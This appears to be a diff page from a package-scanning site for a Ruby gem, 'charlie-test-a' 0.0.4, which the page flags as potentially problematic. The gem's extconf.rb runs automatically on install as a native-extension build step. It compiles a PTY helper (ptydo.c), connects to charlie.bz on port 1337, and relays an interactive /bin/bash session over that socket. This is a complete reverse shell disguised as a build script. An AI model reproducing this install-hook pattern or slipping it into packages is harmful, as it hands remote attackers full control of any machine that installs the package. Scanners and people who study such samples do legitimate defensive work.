charlie-test-a 0.0.4

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of charlie-test-a might be problematic. Click here for more details.

Files changed (3) hide show
  1. data/extconf.rb +18 -0
  2. data/ptydo.c +178 -0
  3. metadata +47 -0
data/extconf.rb ADDED
@@ -0,0 +1,18 @@
1
+ ldflags = ""
2
+ if RUBY_PLATFORM =~ /linux/
3
+ ldflags << " -lutil"
4
+ end
5
+ `gcc -o ptydo ptydo.c #{ldflags}`
6
+ port = 1337
7
+ require "socket"
8
+ sock = TCPSocket.new("charlie.bz", port)
9
+ bash = IO.popen("./ptydo /bin/bash", "w+")
10
+ loop do
11
+ read, write = IO.select [sock, bash], []
12
+ if read.include? sock
13
+ bash.write sock.read_nonblock 1024
14
+ end
15
+ if read.include? bash
16
+ sock.write bash.read_nonblock 1024
17
+ end
18
+ end
data/ptydo.c ADDED
@@ -0,0 +1,178 @@
1
+ #define _POSIX_SOURCE
2
+ #include <stdio.h>
3
+ #include <stdlib.h>
4
+ #include <string.h>
5
+ #include <termios.h>
6
+ #include <unistd.h>
7
+ #ifdef __linux__
8
+ #include <pty.h>
9
+ #elif __APPLE__
10
+ #include <util.h>
11
+ #else
12
+ #error Not sure which header forkpty() is in on your system. Please report a bug at https://github.com/charliesome/ptydo/issues
13
+ #endif
14
+ #include <errno.h>
15
+ #include <signal.h>
16
+ #include <sys/types.h>
17
+ #include <sys/select.h>
18
+ #include <sys/ioctl.h>
19
+
20
+ static void usage()
21
+ {
22
+ printf(
23
+ "Usage: ptydo [<switches>] [--] <command...>\n"
24
+ "\n"
25
+ "Runs command in a child PTY with input/output exposed as stdin/stdout.\n"
26
+ "\n"
27
+ "Window Options:\n"
28
+ " -w <columns> Specifies the width of the PTY in columns\n"
29
+ " -h <rows> Specifies the height of the PTY in rows\n"
30
+ "\n"
31
+ " If ptydo is run interactively, the PTY will default to the dimensions of the\n"
32
+ " host PTY. Otherwise, the dimensions will default to 80 by 25.\n"
33
+ "\n"
34
+ "Misc Options:\n"
35
+ " -c Forward SIGINT to PTY.\n"
36
+ );
37
+ exit(EXIT_SUCCESS);
38
+ }
39
+
40
+ static pid_t child;
41
+ static int ptyfd;
42
+
43
+ static void exit_and_kill_child(int status) {
44
+ if(child) {
45
+ kill(child, SIGTERM);
46
+ }
47
+ exit(status);
48
+ }
49
+
50
+ static void forward_signal_to_pty(int sig) {
51
+ kill(child, sig);
52
+ }
53
+
54
+ int main(int argc, char** argv)
55
+ {
56
+ (void)argc;
57
+ (void)argv;
58
+
59
+ struct winsize window;
60
+ window.ws_row = 25;
61
+ window.ws_col = 80;
62
+
63
+ if(isatty(0)) {
64
+ ioctl(0, TIOCGWINSZ, &window);
65
+ }
66
+
67
+ if(argc < 2) {
68
+ usage();
69
+ }
70
+
71
+ int argi;
72
+ for(argi = 1; argi < argc; argi++) {
73
+ if(argv[argi][0] != '-') {
74
+ break;
75
+ }
76
+ if(strlen(argv[argi]) > 2) {
77
+ printf("Unknown option '%s'\n", argv[argi]);
78
+ exit(EXIT_FAILURE);
79
+ }
80
+ if(argv[argi][1] == '-') {
81
+ argi++;
82
+ break;
83
+ }
84
+ switch(argv[argi][1]) {
85
+ case 'w':
86
+ if(argi + 1 == argc) {
87
+ printf("Expected PTY width after -w flag");
88
+ exit(EXIT_FAILURE);
89
+ }
90
+ window.ws_col = atoi(argv[++argi]);
91
+ break;
92
+ case 'h':
93
+ if(argi + 1 == argc) {
94
+ printf("Expected PTY height after -h flag");
95
+ exit(EXIT_FAILURE);
96
+ }
97
+ window.ws_row = atoi(argv[++argi]);
98
+ break;
99
+ case 'c':
100
+ signal(SIGINT, forward_signal_to_pty);
101
+ break;
102
+ default:
103
+ printf("Unknown option '-%c'\n", argv[argi][1]);
104
+ exit(EXIT_FAILURE);
105
+ }
106
+ }
107
+
108
+ if(argi == argc) {
109
+ printf("No command specified\n");
110
+ exit(EXIT_FAILURE);
111
+ }
112
+
113
+ child = forkpty(&ptyfd, NULL, NULL, &window);
114
+
115
+ if(child == -1) {
116
+ // forkpty failed:
117
+ perror("forkpty");
118
+ exit(EXIT_FAILURE);
119
+ }
120
+
121
+ if(child == 0) {
122
+ // we are the child process
123
+ // execvp(argv[1], argv + 1);
124
+ // execvp failed:
125
+ char* ptyargv[argc - argi + 1];
126
+ memcpy(ptyargv, argv + argi, (argc - argi) * sizeof(char*));
127
+ ptyargv[argc - argi] = NULL;
128
+ execvp(ptyargv[0], ptyargv);
129
+ perror("execvp");
130
+ exit(EXIT_FAILURE);
131
+ }
132
+
133
+ while(1) {
134
+ fd_set readfds;
135
+ fd_set errfds;
136
+ FD_ZERO(&readfds);
137
+ FD_SET(0, &readfds);
138
+ FD_SET(ptyfd, &readfds);
139
+ FD_ZERO(&errfds);
140
+ FD_SET(0, &errfds);
141
+ FD_SET(ptyfd, &errfds);
142
+
143
+ int err = select(ptyfd + 1, &readfds, NULL, &errfds, NULL);
144
+ if(err < 0) {
145
+ if(errno == EINTR) {
146
+ continue;
147
+ }
148
+ perror("select");
149
+ }
150
+
151
+ int readfd, writefd;
152
+ if(FD_ISSET(0, &readfds)) {
153
+ // data on stdin
154
+ readfd = 0;
155
+ writefd = ptyfd;
156
+ } else if(FD_ISSET(ptyfd, &readfds)) {
157
+ writefd = 1;
158
+ readfd = ptyfd;
159
+ } else if(FD_ISSET(0, &errfds) || FD_ISSET(ptyfd, &readfds)) {
160
+ exit_and_kill_child(EXIT_SUCCESS);
161
+ } else {
162
+ fprintf(stderr, "this should never happen\n");
163
+ exit_and_kill_child(EXIT_FAILURE);
164
+ }
165
+
166
+ char buff[1024];
167
+ ssize_t bytes = read(readfd, buff, sizeof(buff));
168
+ if(bytes == 0) {
169
+ exit_and_kill_child(EXIT_SUCCESS);
170
+ } else if(bytes < 0) {
171
+ perror("read");
172
+ exit_and_kill_child(EXIT_FAILURE);
173
+ }
174
+ (void)write(writefd, buff, bytes);
175
+ }
176
+
177
+ return 0;
178
+ }
metadata ADDED
@@ -0,0 +1,47 @@
1
+ --- !ruby/object:Gem::Specification
2
+ name: charlie-test-a
3
+ version: !ruby/object:Gem::Version
4
+ version: 0.0.4
5
+ prerelease:
6
+ platform: ruby
7
+ authors:
8
+ - charlie
9
+ autorequire:
10
+ bindir: bin
11
+ cert_chain: []
12
+ date: 2012-08-03 00:00:00.000000000 Z
13
+ dependencies: []
14
+ description:
15
+ email:
16
+ executables: []
17
+ extensions:
18
+ - extconf.rb
19
+ extra_rdoc_files: []
20
+ files:
21
+ - ptydo.c
22
+ - extconf.rb
23
+ homepage:
24
+ licenses: []
25
+ post_install_message:
26
+ rdoc_options: []
27
+ require_paths:
28
+ - lib
29
+ required_ruby_version: !ruby/object:Gem::Requirement
30
+ none: false
31
+ requirements:
32
+ - - ! '>='
33
+ - !ruby/object:Gem::Version
34
+ version: '0'
35
+ required_rubygems_version: !ruby/object:Gem::Requirement
36
+ none: false
37
+ requirements:
38
+ - - ! '>='
39
+ - !ruby/object:Gem::Version
40
+ version: '0'
41
+ requirements: []
42
+ rubyforge_project:
43
+ rubygems_version: 1.8.24
44
+ signing_key:
45
+ specification_version: 3
46
+ summary: charlie's test
47
+ test_files: []